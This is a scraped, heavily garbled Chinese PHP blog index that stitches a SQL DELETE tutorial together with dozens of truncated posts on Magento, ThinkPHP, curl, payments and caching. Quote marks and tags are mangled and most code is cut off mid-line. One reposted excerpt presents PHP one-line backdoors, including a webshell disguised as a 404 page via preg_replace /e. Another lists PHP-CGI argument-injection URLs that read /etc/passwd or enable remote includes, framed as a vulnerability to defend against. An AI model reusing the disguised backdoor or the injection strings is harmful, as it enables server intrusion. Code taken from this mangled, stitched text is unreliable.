webform mvc项目中indexof代码进行排序?

SQL DELETE 语句
SQL DELETE 语句
DELETE 语句
DELETE 语句用于删除表中的行。
DELETE FROM 表名称 WHERE 列名称 = 值
Xuanwumen 10
Zhongshan 23
&Fred Wilson& 会被删除:
DELETE FROM Person WHERE LastName = 'Wilson'
Xuanwumen 10
删除所有行
可以在不删除表的情况下删除所有的行。这意味着表的结构、属性和索引都是完整的:
DELETE FROM table_name
DELETE * FROM table_nameSjolzy'blog
PHP程序开发 | PHP ThinkPHP框架 | PHP文件代码07 June
PHP判断字符串语言 11:32:01那些强悍的PHP一句话后门[转]我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。
强悍的PHP一句话后门
这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。
利用404页面隐藏PHP小马:
&!DOCTYPE HTML PUBLIC&
&-//IETF//DTD HTML 2.0//EN&
&html&&head&&
&title&404 Not Found&/title&&
&/head&&body&&
&h1&Not Found&/h1&&
&p&The requested URL was not found on this server.&/p&&
&/body&&/html&&
@preg_replace(
&/[pageerror]/e&
'error'
'HTTP/1.1 404 Not Found'
10:21:46Magento权限设置与缓存清理的PHP脚本&?php## 设置文件644,目录755function AllDirChmod( $dir = &./&, $dirModes = 0755, $fileModes = 0644 ){&& $d = new RecursiveDirectoryIterator( $dir );&& foreach( new RecursiveIteratorIterator( $d, 1 ) as $path ){&&&&& if( $path-&isDir() ) chmod( $path, $dirModes );&&&&& else if( is_file( $path ) ) chmod( $path, $fileModes );& }}## 清除指定目录function cleandir($dir) {&&& if ($handle = opendir($dir)) {&&&&&&& while (false !== ($file = readdir($handle))) {&&&&&&&&&&& if ($file != '.' && $file != '..' && is_file($dir.'/'.$file)) {&&&&&&&&&&&&&&& if (unlink($dir.'/'.$file)) { }&&&&&&&&&&&&&&& else { echo $dir . '/' . $file . ' (file) NOT deleted!&br /&'; }&&&&&&&&&&& }&&&&&&&&&&& else if ($file != '.' && $file != '..' && is_dir($dir.'/'.$file)) {&&&&&&&&&&&&&&& cleandir($dir.'/'.$file);&&&&&&&&&&&&&&& if (rmdir($dir.'/'.$file)) { }&&&&&&&&&&&&&&& else { echo $dir . '/' . $file . ' (directory) NOT deleted!&br /&'; }&&&&&&&&&&& }&&&&&&& } 19:50:14Centos6.2 php5.3.3装mcryptyum -y install php-mcrypt 木有。。
wget http://dl.fedoraproject.org/pub/epel/6/i386/php-mcrypt-5.3.3-1.el6.i686.rpm
wget http://dl.fedoraproject.org/pub/epel/6/i386/libmcrypt-2.5.8-9.el6.i686.rpm
rpm -Uvh php-mcrypt-5.3.3-1.el6.i686.rpm libmcrypt-2.5.8-9.el6.i686.rpm
service httpd restart 搞定。。 21:50:37PHP 有符号整型转换为无符号整型在一个短地址项目中,根据六位字符与ID的相互映射的算法,当ID超过的时候,六位字符的短地址映射的ID变成有符号的整型。
&&& &&& ID&&&&&&& & &&& 六位字符&&& &映射ID && ID:
& TfffVQ & ID:
& efffVQ & ID:
& NfffVQ & ID:
& ffffVQ & ID:
& nnnnnu & -ID:
& dnnnnu & -ID:
& rnnnnu & -
需要把有符号整型转换为无符号整型:(float) sprintf('%u', $id)
PHP官网关于整型的资料:http://php.net/manual/zh/language.types.integer.php 14:19:19PHP ajax 异步执行不等待执行结果短地址生成应用中,要根据长地址生成网页快照,这个生成时间非瞬发,不可预估。
所以前台方面采用的方案一般为先展示生成的短地址,再定期AJAX轮查网页快照是否生成完毕。
So,PHP代码这里做了如下处理:
// 这边服务器采用的是phantomjs 来生成网页快照&&$cd&& &&& &= '/home/emp/phpinstall/phantomjs-1.5.0/bin/phantomjs /home/emp/phpinstall/phantomjs/snap.js &'.$url.'& /home/emp/public_html_demo/cms/'.$thumb.' &
';try{&& &@pclose(popen($cd,&r&));}catch(Exception $e){}
前台Js的ajax脚本: 11:39:10防止PHP CGI远程任意代码执行漏洞一例&
又发现了一例PHP挂载CGI的环境下,远程执行任意代码的漏洞。
主要原因是:PHP做了防范,CGI在SAPI下无法使用-r,-f等直接执行命令的参数。
/do.php?-dauto_prepend_file%3d/etc/passwd+-n
/do.php?-dallow_url_include%3don+-dauto_prepend_file%3d/a.txt
/do.php?-s
受影响的平台:APACHE+MOD_CGI+PHP-CGI模式。 03:04:24PHP实时输出老生长谈了。。纯备忘
对于运行时间较长的PHP程序来说可能都需要即时输出内容来查看运行情况。
header(&Content-type:text/charset=utf-8&P);
#设置执行时间不限时&set_time_limit(0);
#清除并关闭缓冲,输出到浏览器之前使用这个函数。ob_end_clean();
#控制隐式缓冲泻出,默认off,打开时,对每个 print/echo 或者输出命令的结果都发送到浏览器。ob_implicit_flush(1);
例, 21:22:35php window平台模拟checkdnsrr函数HPPHP的自带checkdnsrr函数只在linux平台有效。使用惯了在window平台不能使用的话给兼容性带来麻烦。
因此写了个checkdnsrr模拟函数在window平台环境使用。
if (!function_exists('
')) {&&& function checkdnsrr($host, $type) {&&& &&& if(!empty($host) && !empty($type)) {&&& &&& &&& @exec('nslookup -type=' . escapeshellarg($type) . ' ' . escapeshellarg($host), $output);&&& &&& &&& foreach ($output as $k =& $line) {&&& &&& &&& &&& if(eregi('^' . $host, $line)) {&&& &&& &&& &&& &&&&&& &&& &&& &&& }&&& &&& &&& }&&& &&& }&&& &&& 21:49:29解决PHP代码恶意DDOS攻击使用PHP代码实现的DDOS攻击会导致带宽被占用,变成卡B。
处理办法是:
修改php.ini文件
1) &disable_functions&改成gzinflate,默认是放空2) &allow_url_fopen&设为Off3) php_sockets.dll 把这个模块打开 16:52:45PHP 生成excel|好用强大的php excel类库做Magento的订单导出Excel功能,找了这个php的excel类
:PHPExcel。
PHPExcel是强大的 MS Office Excel 文档生成类库,基于Microsoft's OpenXML ,支持普通xls,Excel2007,pdf,csv,html等
比较大条的一个类库,官方最新版已经蹦到7.多M大了。找了个民间精简版1.多M的。
下面是这个
的一些使用方法要点备忘。来自互联网。
//设置PHPExcel类库的include pathset_include_path('.'. PATH_SEPARATOR .'D:\Zeal\PHP_LIBS' . PATH_SEPARATOR .get_include_path());
/** 00:00:19PHP在空间跑Magento权限&?php$output&
shell_exec(&find&
exec&chmod&755&{}&\
exec&chmod&755&{}&\
htaccess&app
14:36:39EmEditor删除js,php等//注释的正则
一枚很方便的把//这种注释方法的注释替换掉的正则表达式,js注释、php注释等。 09:11:15恍然大悟PHP和PYTHON和RUBY的关系PHP和PYTHON和RUBY三者的关系简单的各用一句话来概括:
PHP一句话来总结就是:Quick And Dirty&
PYTHON用一句话来总结就是:Quick And Clean, But Not Convenient For Web Development&
RUBY用一句话来总结就是:Code For Fun And Quick For Web
发现和很多网友的IT历程一样,先经历PHP然后接触PYTHON跟着RUBY。
PHP必须会因为很多应用级的程序都用它,PYTHON肯定要精因为很喜欢它。。RUBY也许也会学好它听说帮助开阔思维。 23:06:54PHP一则字符串转为标准SEO URL的正则表达式一则把不规范的字符串转为用横杠隔开的标准的SEO的URL的正则表达式
$str&& &= '/The-URL-\//string-to-/the,-standard-SEO@html';echo trim(preg_replace('/\-(?=\-)/','',preg_replace('/[^\w\-]/','-',$str)),'-');//转化后 The-URL-string-to-the-standard-SEO-html 16:02:47PHP关闭魔术引号magic_quotes_gpcmagic_quotes_gpc 指令只能在系统级关闭,在运行时无法关闭。也就是说不能用 ini_set('magic_quotes_gpc',0);来关闭。
在无法修改服务器段配置文件的情况下,还有种办法是使用 .htaccess 来修改配置。
php_flag magic_quotes_gpc Off
但这种也有局限性,apache如果是以cgi形式跑不是作为模块的话也无效。
所以为了更好的提高移植性,只要在代码上动功夫。当然这会带来效率上的降低,如果能修改配置文件还是最好的。
22:34:40ThinkPHP URL自己带上参数PHPSESSID碰到个问题,ThinkPHP项目程序本地测试没问题,传到服务器后第一次访问,页面的所有URL会自己带上类似?PHPSESSID=cfa7c8117 这样的参数,再点击刷新下页面后访问才正常。
浏览器并没有禁止cookie,本地访问正常也证实了这点,第一猜想是服务器的环境配置与项目代码某些地方冲突所影响。
检测了服务器的关于cookie的配置对比本地的,发现session.use_trans_sid这个项的配值是不同的,本地关闭,服务器是开着的。
PHP中的会话在默认情况下是使用客户端的cookie来保存session_id的,所以当客户端的cookie出现问题的时候就会影响会话了。其实会话不一定必须依赖cookie,当客户端的cookie被禁用或出现问题时 21:02:29PHP - 利用yshout给网站添加多人在线即时聊天功能考虑给网站添加个多人即时在线聊天
的功能已经很久了,虽然没啥实际性意义。今天打酱油把网站在线聊天这功能给日上去了,姑且算是又疼了一回。
采用的是开源的yshout
,更更改改删删减减,先看看效果。
17:01:40PHP - 利用P3P实现跨域有别于JS跨域、IFRAME跨域等的常用处理办法,还可以利用P3P来实现跨域。
P3P(Platform for Privacy Preferences)是W3C公布的一项隐私保护推荐标准,以为用户提供隐私保护。
P3P 标准的构想是:Web 站点的隐私策略应该告之访问者该站点所收集的信息类型、信息将提供给哪些人、信息将被保留多少时间及其使用信息的方式,如站点应做诸如 &本网站将监测您所访问的页面以提高站点的使用率&或&本网站将尽可能为您提供更合适的广告&等申明。访问支持P3P网站的用户有权查看站点隐私报告,然 后决定是否接受cookie
或是否使用该网站。
如何利用P3P实现跨域
在开发中,我们碰到的跨域主要还是纠结在IE,页面中的IFRAME或者FRAME或者JS跨域的时候,IE有安全策略限制页面不带cookie,但是如果我们加上P3P,就没有这策略的限制。这也是P3P来突破跨域的可行前提。
以下为摘录的例子 13:29:51php - 字符串内容为数组如何进行格式转换为数组一个简单的应用。。
$str&&& =&&& &array( 'USD'=&'1', 'GBP'=&'0.6494', 'EUR'=&'0.7668' ,'JPY'=&'82.8150','RMB'=&'6.6480' )&;
现有$str,内容为数组形式的数据。
想要得到真正的数组
$arr&&& = array( 'USD'=&'1', 'GBP'=&'0.6494', 'EUR'=&'0.7668' ,'JPY'=&'82.8150','RMB'=&'6.6480' );
处理办法是:
eval(&\$arr = &.$str.'; 09:59:25Magento错误-Call to undefined method Mage_Adminhtml_Block_Widget::getrowurl() in app\code\core\Mage\Adminhtml\Block\Widget\Grid.php on line 1607Fatal error: Call to undefined method Mage_Adminhtml_Block_Widget::getrowurl() in [magentohome]/app/code/core/Mage/Adminhtml/Block/Widget/Grid.php on line 1607
从Magento 1.4.0.1导出产品csv文件后,要导入到Magento 1.4.2.0的时候,在上传csv文件,保存提交后报这错误。
解决办法:修改 app/code/core/Mage/Core/Block/Template.php 这个文件,在319行后面加入函数getRowUrl,如:
public function getRowUrl($row) { return $this-&getUrl(&*/*/edit&, array(&i 17:30:19Magento报错:Call to a member function extend() on a non-object in app\code\core\Mage\Core\Model\Mysql4\Config.php on line 115遇到报错:Fatal error: Call to a member function extend() on a non-object in \app\code\core\Mage\Core\Model\Mysql4\Config.php on line 115
错误原因及解决办法参见:
SET FOREIGN_KEY_CHECKS=0;update `core_store` set store_id = 0 where code='admin';update `core_store_group` set group_id = 0 where name='Default';update `core_website` set website_id = 0 where code='admin';update `customer_group` set customer_group_id = 0 where customer_group_code='NOT LOGGED IN';SET FOREIGN_KEY_CHEC 15:03:01php WebSockets服务端和客户端关于WebSockets 的基础概念参见:
本文简单记录PHP利用WebSockets
和HTML5 WebSockets API的服务器推技术来实现在线聊天系统
解压后只有两个文件:server.php(服务端)和client.html(客户端)
运行WebSockets服务器端
,命令行模式下使用php -q path\server.php
,或者浏览器访问server.php
注:浏览器必须支持HTML5的WebSocket
。可使用当前的最新Firefox或Chrome。
另外PHP需要支持php_sockets组件
。windows环 11:37:25ThinkPHP使用Paypal支付接口的模块开发&?php
* PaypalAction.class.php
* ThinkPHP Paypal支付接口模块
class PaymentAction extends Action {
* 自己的paypal账号
private $account = '';
* paypal支付网关地址
private $gateway = '/ 16:19:01Magento错误 - Notice: Undefined index:***app\code\core\Mage\Core\Model\Mysql4\Config.php on line 92的解决办法今天拷站架Magento
站,又碰到了这种错:
a:4:{i:0;s:116:&Notice: Undefined index
:& 0& in ***\app\code\core\Mage\Core\Model\Mysql4\Config.php on line 92
&;i:1;s:681:&#0 ***\app\code\core\Mage\Core\Model\Mysql4\Config.php(92): mageCoreErrorHandler(8, 'Undefined index...', 'D:\chen\www\mym...', 92, Array)#1 ***\app\code\core\Mage\Core\Model\Config.php(344): Mage_Core_Model_Mysql4_Config-&loadToXml(Object(Mage_Core_Model_Config))
好 吧,抽时间总结一下。。
Mysql使用工具
(如PhpMyAdmin / MySQL-Front / Navicat for MySQL / SQLyogEnt等)重载转储文件(也就是重导.sql文件)的时候,默认在执行过程中遇到0值一般会生成新的序列号。
Magento的 core_store表的admin的store_id为0;core_store_group表的Default的group_id也为0。
在 导入.sql文件的时候,原本的0变成了新的序列号,破坏了Magento原有的数据。
: 16:08:45PayPal支付接口的PHP开发方式&
解析PayPal支付接口的PHP开发方式
大家都知道PHP代码的便捷之处和用法,那么今天我们就向大家详细的讲解如何运用PHP来开发PayPal支付接口 的相关内容,希望对大家有所帮 助。PayPal 快速、安全而又方便,是跨国交易的首选在线付款方式。现在PayPal支付接口可以和国内大部分信用卡关联,可以实现国人的跨国交易收支。
所 谓paypal ipn(Instant Payment Notification),就是Paypal开发的一种能主动通知第三方卖家系统交易状态的一种机制。IPN的原理很简单,就是当产生了一个交易之后, 交易状态发生变化时,如用户已经付款、或者退款、撤销时,Paypal利用常用的HTTP POST方式,将交易的一些变量提交给网站的某个页面(称之为IPN Handler),当这个页面接受到请求时候,将这些数据原封不动加上一个指示验证的cmd=_notify-validate,POST回Paypal 的接口地址,如果数据正确,那么Paypal返回字符串VERIFIED,否则为INVALID,如果结果为VERIFIED,那么你的程序就可以使用这 些数据进行操作。
开设Sandbox帐号
但代码的调试是一件很痛苦的事情,因为作为第 三方开发人员,不可能开两个帐号,每次测试还要之间交易一些钱,所以Paypal专门开发了 Sandbox给 开发人员进行开发,首先到/注册一个开发帐号,好了之后再进入Sandbox建立测试用的 Paypal虚拟帐号(至少 15:21:19PHP - 真随机数和伪随机数首先来了解一下真随机数和伪随机数的概念。
真随机数发生器
,英文为:true random number generators ,简称为:TRNGs,是利用不可预知的物理方式来产生的随机数。
伪随机数发生器
,英文为:pseudo-random number generators ,简称为:PRNGs,是计算机利用一定的算法来产生的。
对 比一下两种办法产生的随机数的图片。
Random.org(利用大气噪音来生成随机数,而大气噪音是空气中的雷暴所产生的
)生成的随机位图:
09:59:51PHP字符串补全,PHP字符串自动填充,PHP输出固定长度遇到要输出一定长度字符串的时候,可以使用一下两种方法进行PHP字符串自动填充、自动补全
$newStr= sprintf('%05s', $str);
sprintf()的功能非常灵活,上面的格式字符串中,&%05s
&表示输出成长度为5的字符串,如果长度不 足,左边以零补全;如果写成 &%5s
&,则默认以空格补全;如果希望使用其它字符补全,则要在该字符前加上单引号,即形如&%'#5s
& 的表示以井号补全;最后,如果希望补全发生在 字符串右边,则在百分号后加上减号,&%-05s
$cd_no = str_pad(++$next_cd_no,8,'#',STR_PAD_LEFT);
str_pad(string,length,pad_string,pad_type):具体用法查看手册。
string&&& 必需。规定要填充的字符串。length&&& 必需。规定新字符串的长度。如果该值小于原始字符串的长度,则不进行任何操作。pad_string&&& 可选。规定供填充使用的字 09:06:09PHP - 读取操作IP地址数据库文件QQWry.dat首先看看QQWry.Data文件的内容结构
,以及解读方式
一、文 件结构
文件主要分三个结构1、文件头,8个字节;2、数据记录区,不定长度;3、索引区,长度为 7 的整数倍;
二、文件头
文件头的8个字节分两部分,每个部分4个字节,分别指定了索引区的开 始地址和结束地址。所以可以通过两个地址的差值 除 7 后 加 1 可以计算出总的记录数。
二、记录区
记录区的数据需要通过索引区的数据来获得各个数据的起始位置;本区数据记录了IP地址的结束地址和地区字符串;所有地区字符串都以 0&00 为结束。
三、索引区
检索IP对应的地区,关键就是找到IP起始地址对应的索引内容。一个IP 索引数据包含7个字节,前4个字节是IP地址起始值,后3个字节是对应的IP数据 记录在文件内的偏移地址;IP数据记录中,前 4 个字节是IP结束地址;紧跟的数据有两种模式: 0&01 模式 和 0&0 17:52:17【转】高级PHP应用程序漏洞审核技术&
很值得花时间研究的一篇文章。
作者:Ph4nt0m Security Team
==Ph4nt0m Security Team==
Issue 0x03, Phile #0x06 of 0x07
|=---------------------------------------------------------------------------=|
|=---------------------=[ 高级PHP应用程序漏洞审核技术 ]=---------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=----------------------=[
]=------------------------=|
|=------------------------=[
]=--------------------------=|
|=---------------------------------------------------------------------------=|
16:34:19[转] - 适用于 PHP 开发人员的 Python 基础知识&
Thomas Myer , 负责人, Triple Dog Dare Media
好段时间一直想接触Python了,刚好借这篇文章入门。:P
&: &您是一名经验丰富的 PHP 开发人员,并且希望学习 Python 吗?本文将从 PHP 开发人员的角度来探索 Python 开发的世界,将大家熟悉的 PHP 概念(如变量、列表、函数)转换成同等的 Python 概念。
您是一名 PHP 开发人员。您在过去 五年(或更长时间)中可能一直都编写应用程序,您已经将许多想像变成了可能 & 电子商务系统、简单内容管理系统、Twitter 和 Facebook 集成以及各种自定义实用工具。您可能还需要维护大量代码 & 从简单的显示页面到包含数千行其他人编写的代码的自定义应用程序,不一而足。
常用缩略语
&: 异步 JavaScript + XML
&: 可扩展标记语言(Extensible Markup Language)
您已经在 PHP 上花费了大量时间,转向另一种语言势在必行。您也知道原地不动就意味着被动挨打。其实,学习新语言就像是去国外旅行:您会接触到新事物,品尝新食物,领略不同的文化,与不同的人对话,了解一切新奇,然后再回到家中体会原来的环境 15:15:01[转]PHP函数的实现原理及性能分析&
在任何语言中,函数都是最基本的组成单元。对于php的函数,它具有哪些特点?函数调用是怎么实现的?php函数的性能如何,有什么使用建议?本文将从原理出发进行分析结合实际的性能测试尝试对这些问题进行回答,在了解实现的同时更好的编写php程序。同时也会对一些常见的php函数进行介绍。
php函数的分类
在php中,横向划分的话,函数分为两大类: user function(内置函数) 和internal function(内置函数)。前者就是用户在程序中自定义的一些函数和方法,后者则是php本身提供的各类库函数(比如sprintf、array_push等)。用户也可以通过扩展的方法来编写库函数,这个将在后面介绍。对于user function,又可以细分为function(函数)和method(类方法),本文中将就这三种函数分别进行分析和测试。
php函数的实现
14:52:31PHP - 信用卡卡号算法函数可以使用以下PHP函数
验证一个卡号是否是信用卡
validateCard
$cardnumber
$cardnumber
preg_replace
$cardnumber
# strip any non-digits
$cardlength
$cardnumber
$cardlength
$cardlength
$cardlength
&& & & & & &
$cardnumber
;&& & & & & &
;&& & & & & & & &
;&& & & & & & & & & &
09:20:22PHP - Mysql数据库备份类使用方法:
require_once(&backdata.class.php&);$link = @mysql_connect(&localhost&,&数据库名&,&密码&) or die ('Could not connect to server.');mysql_query(&use cms&,$link);mysql_query(&set names utf8&,$link);$dbbck=new backupData($link);//实例化 它,只要一个链接标识就行了
//备份数据时,如想备份一个数据库中的所有表,你可这样写:
$dbbck-&backupTables(&cms&,&./&,array('*'));//备份数据时,如想备份一个数据库中的仅一个表时,你可这样写:
$dbbck-&backupTables(&cms&,&./&,array('user'));//备份数据时,如想备份一个数据库中的多个表时,你可这样写:
$dbbck-&backupTables(&cms&,&./&,array('user','acl','informatoin'));//注解:$dbbck-&backupTables(&参1&,& 参2&,array());中,
参1为:数据库名,参2为:要存放备份数据的位置(即目录地址)第三个为:你要保存那些表
backdata.class.php:
&?php/***简单的一个Mysql备份数据类
20:20:53PHP - 增强性mhash函数今天使用php的加密函数mhash
的时候,报错: Fatal error
: Call to undefined function mhash()
mhash是php的内置函数但是使用却报错..
一番研究总结 两种方法:
1,导入php_mhash.dll扩展文件,除此之外还要导入 libmhash.dll (mhash 库的载入依赖这个文件) ,
在 Apache 的配置文件 Httpd.conf 中加载&& LoadFile C:/php/libmhash.dll& 。
2,使用自定义的mhash增强函数。
function hmac_md5($key, $data){&&& if (extension_loaded('mhash'))&&& {&&& &&& return bin2hex(mhash
(MHASH_MD5, $data, $key));&&& }&&& $b = 64; 19:51:18PHP - .htaccess设置显示PHP错误用.htaccess设置显示PHP错误
使用.htaccess可以在某种程度上更改PHP的错误显示的设置,实际上,相当于更 改PHP.ini的参数,很是方便。
将以下相应代码放到对应目录中的.htaccess文件,即可实现相应功能。
关 闭错误显示
php_flag display_startup_errors off
php_flag display_errors off
php_flag html_errors off
php_value docref_root 0
php_value docref_ext 0
只 显示PHP错误
display_errors
display_startup_errors on
php_value error_reporting
其 中,&2047&为要显示的错误的级别,详细表格如下:
1 E_ERROR 14:17:59PHP - 利用Curl、socket、file_get_contents POST数据// php的三种方法向远程服务器POST数据
&?php&&& &/**&&& &* Socket版本
&&& &* 使用方法:&&& &* $post_string = &app=socket&version=beta&;&&& &* request_by_socket(&#','/restServer.php',$post_string);&&& &*/&&& &function request_by_socket($remote_server,$remote_path,$post_string,$port = 80,$timeout = 30){&&& &&&& &$socket = fsockopen($remote_server,$port,$errno,$errstr,$timeout);&&& &&&& &if (!$socket) die(&$errstr($errno)&);&&& &&&& &&& &&&& &fwrite($socket,&POST $remote_path HTTP/1.0&);&&& &&&& &fwrite($socket,&User-Agent: Socket Example&);&&& &&&& &fwrite($socket,&HOST: $remote_server&);&&& &&&& &fwrite($socket,&Content-type: application/x-www-form-urlencoded&);&&& &&&& &fwrite($socket,&Content-length: &.strlen($post_string)+8.&&);&&& &&&& &fwrite($socket,&Accept 23:59:15php - apc和文件缓存类// 收集到的一篇不错的PHP缓存实现。实现了apc和文件缓存,继承Cache_Abstract即可实现调用第三方的缓存工具。
&?phpclass CacheException extends Exception {}/*** 缓存抽象类*/abstract class Cache_Abstract {/**&&& &* 读缓存变量&&& &*&&& &* @param string $key 缓存下标&&& &* @return mixed&&& &*/&&& &abstract public function fetch($key);/**&&& &* 缓存变量&&& &*&&& &* @param string $key 缓存变量下标&&& &* @param string $value 缓存变量的值&&& &* @return bool&&& &*/ 23:51:09PHP - 比较全的CURL中文说明目前为目最全的CURL中文说明了,学PHP的要好好掌握.有很多的参数.大部份都很有用.真正掌握了它和正则,一定就是个 采集高手了.
PHP中的CURL函数 库(Client&URL&Library&Function)
curl_close&&&关闭一个curl会 话curl_copy_handle&&&拷贝一个curl连 接资源的所有内容和参数curl_errno&&&返回一个包含 当前会话错误信息的数字编号curl_error&&&返回一个 包含当前会话错误信息的字符串curl_exec&&&执行一个curl会 话curl_getinfo&&&获取一个curl连 接资源句柄的信息curl_init&&&初始化一个curl会 话curl_multi_add_handle&&&向curl批 处理会话中添加单独的curl句柄资源curl_multi_close&&&关闭一个批处理句柄资源curl_multi_exec&&&解析一个curl批处理句柄curl_multi_getcontent&&&返回获取的输出的文本流curl_multi_info_read&&&获取当前解析的curl的相关传输信息curl_multi_init&&&初始化一个curl批处理句柄资源curl_multi_remove_handle&&&移除curl批处理句柄资源中的某个句柄资源curl_multi_select&&&Get&all&the&sockets&associated&with&the&cURL&extension,&which&can&then&be&&selected&curl_setopt_array&&&以数组的形 23:21:04php 全部的编译选项php-5.3.3全部的编译选项
Usage: configure [options] [host]Options: [defaults in brackets after descriptions]Configuration:& --cache-file=FILE&&&&&& cache test results in FILE& --help&&&&&&&&&&&&&&&&& print this message& --no-create&&&&&&&&&&&& do not create output files& --quiet, --silent&&&&&& do not print `checking...' messages& --version&&&&&&&&&&&&&& print the version of autoconf that created configureDirectory and file names:& --prefix=PREFIX&&&&&&&& install architecture-independent files in PREFIX&&&&&&&&&&&&&&&&&&&&&&&&& [/usr/local]& --exec-prefix=EPREFIX&& install architecture-dependent files in EPREFIX&&&&&&&&&&&&&&&&&&&&&&&&& [same as prefix]& --bindir=DIR&&&&&&&&&&& user executables 13:05:55用PHP建立XML-RPC的Web Sevice系統PHP 中集成了XML-RPC和SOAP两种协议的访问,都是集中在xmlrpc扩展当中。另外,在PHP的PEAR中,不管是 PHP 4还是PHP 5,都已经默认集成了XML-RPC扩展,而且该扩展跟xmlrpc扩展无关,能够独立实现XML-RPC的协议交互,如果没有xmlrpc扩展,建议使 用PEAR::XML-RPC扩展。Web Service介绍Web Service就是为了异构系统的通信而产生的,它基本的思想就是使用基于XML的HTTP的远程调用提供一种标准的机制,而省去建立一种新协议的需求。 目前进行Web Service通信有两种协议标准,一种是XML-RPC,另外一种是SOAP。 XML-RPC比较简单,出现时间比较早,SOAP比较复杂,主要是一些需要稳定、健壮、安全并且复杂交互的时候使用。我们这里主要是以 XML-RPC来简单描述Web Service的交互过程,部分内容来自PHP手册,更详细内容,建议参考手册。&
安 装xmlrpc扩展
如果你的系统中没有安装xmlrpc的php扩展,那么请正确安装。在Windows平台下,首先 把PHP安装目录下的扩展php_xmlrpc.dll放到C:\Windows或者C:\Winnt 目录下,(PHP4的扩展在C:\php\extensions目录中, 14:59:25php使用fsockopen传送POST到別的URL并取得回应內容如果不需要传送参数或是使用GET method传送可以直接使用fopen()或是file_get_contents()函式获得回应內容但 是如果需要不经过表单就送出POST给某URL就需要使用curl相关函式或是fsockopen()传送
curl的用法比较简单可以咕狗 看看(但是php必须要先安裝curl才可以用),这边要讲的是fsockopen().
//接收POST參數的URL$url = '';//POST參數,在這個陣列裡,索引是name,值是value,沒有限定組數$postdata = array('post_name'=&'post_value','acc'=&'hsin','nick'=&'joe');//函式回覆的值就是取得的內容$result = sendpost($url,$postdata); 14:54:47php支付宝支付接口参数详解&?php$service& =&isset( $_GET [ 'service' ])&?& $_GET [ 'service' ]&:& 'create_direct_pay_by_user' ;$services& =&array(&&& //交易类型&&&& 'create_direct_pay_by_user'& =&& '即时到账' ,&&&& 'create_partner_trade_by_buyer'& =&& '担保交易' ,);if(! array_key_exists ( $service , $services ))&exit( '错误的交易类型' );?&
&p&style=&border:2px&dotted&width:&&&&&&&label& 请选择交易类型:&/label&&&&&&?php& foreach&( $services& as& $key =& $val ):& ?&&&&&&&&&&?php& if( $service& ==& $key ):& ?&&&&&&&&&&&&&&b&style=&color:red&&&?php& echo& $& ?& &/b&&&&&&&&&&?php& else:& ?&&&&&&&&&&&&&&b&&a&href=&&?php& echo& url (array( 'service' =& $key ));& ?& &&&?php& echo& $& ?& &/a&&/b&&&&&&&&&&?php&& ?&&&&&&?php&& ?&&/p&
//php 支付宝支付接口参数
//(合作商户编号,加密串,返回url, 默认编码,商品名称,商品简介,商户订单号,物流配送费用)function& getRequestUrl ( $partner , $scode , $return_url , $charset , $subject , $body , $order , $lfee )&{&&&&global& $data , $ 23:47:59php获取gb2312编码的汉字的首个字母&
//取GB2312字符串首字母,原理是GBK汉字是按拼音顺序编码的.
function get_letter($input){
$dict=array(
'a'=&0xB0C4,
'b'=&0xB2C0,
'c'=&0xB4ED,
'd'=&0xB6E9,
'e'=&0xB7A1,
'f'=&0xB8C0,
'g'=&0xB9FD,
'h'=&0xBBF6,
'j'=&0xBFA5,
'k'=&0xC0AB, 10:25:39php利用curl获取指定IP的所有信息的API看马:
&?phpfunction getIpInfo($ip,$timeout=15) {&&& if(!function_exists('curl_init') or !function_exists('simplexml_load_string'))&&& $ch = curl_init(&/ip_query2.php?ip={$ip}&timezone=true&);&&& $options = array(&&& &&& CURLOPT_RETURNTRANSFER =& true,&&& );&&& curl_setopt_array($ch,$options);&&& $res = curl_exec($ch);&&& curl_close($ch);&&& if($xml = simplexml_load_string($res)) {&&& &&& $dt = array();&&& &&& foreach ($xml-&Location-&children() as $key=&$item)& {&&& &&& &&& $dt[$key] = strtolower($item);&&& &&& }&&& &&& return $&&& } else { 09:44:45php函数 - 单位时间内字符串加密解密
此函数可在指定时间内,加密还原字符串,超时无法还原。
用途如:单点登录的token加密传输,临时密码等等
&* @param string $operation 操作(ENCODE | DECODE), 默认为 DECODE
&* @param string $key 密钥
&* @param int $expiry 密文有效期, 加密时候有效, 单位 秒,0 为永久有效
&* @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
&* @example
&* $a = authcode('abc', 'E 21:55:32thinkphp关于session的使用总结
ThinkPHP官方的说明文档
start&启 动session
pause&暂 停session
clear&清除session
destroy&销毁session
get&获取session值
getLocal&获取私有session值
set&设置session值
setLocal&设置私有session值
name&获取或者设置session_name
is_set&是否设置session值
is_setLocal&是否设置私有session值
id&获取或者设置session_id
path&获取或者设置session_save_path
setExpire&设置session过期时 间
setCookieDomain&设置 有效域名
setCallback&设置Session&对象反序列化时候的回调函数
最常用的操作方法示例:
//&获 取Session变量
//&检测 Session变量是否存在
Session::is_set('name');
//&给Session变 量赋值
Session::set('name','value');
09:27:17php产生全球唯一标识符guid的算法一例
// guid.php
class System {
&&function currentTimeMillis() {
&& &list($usec, $sec) = explode(& &,microtime());
&& &return $sec.substr($usec, 2, 3);
class NetAddress {
&&var $name = 'localhost';
&&var $ip & = '127.0.0.1'; 22:42:25thinkphp 使用技巧总结 - 快速入门
在比较了下Zend Framework、CakePHP等框架后,我认为ThinkPHP的开发效率最高,代码最为简洁,最适合中小型项目开发。
1. 模板中不能使用的标签
{$content} {$i}
如: &if condition=&$name eq 1 &&
试验后总是有想不到的错误, 这样,还不如直接用&?php if(...){ ...?&来得快些呢.
1.所有类库文件必须使用.class.php作为文件后缀,并且类名和文件名保持一致
2.控制器的类名以Action为后 缀
3.模型的类名以Model为后缀,类名第一个字母须大写
4.数据库表名全部采用小写,
数据表名: 前缀_表名 11:11:28PHP数据库操作类 - ezSQL
ezSQL 下载地址:
新 版本是2.05添加了很多支持,包括 CodeIgniter,MSSQL, PDO等等。
----------------------------------------------------
// Select multiple records from the database and print them out..
$users = $db-&get_results(&SELECT name, email FROM users&);
foreach ( $users as $user ) {
&& & & & & &// Access data using object syntax
&& & & & & &echo $user-&
&& & & & & &echo $user-&
Example 2 10:57:04GeoIP的使用 - PHP版
GeoIP介绍:
什么是GepIP ?
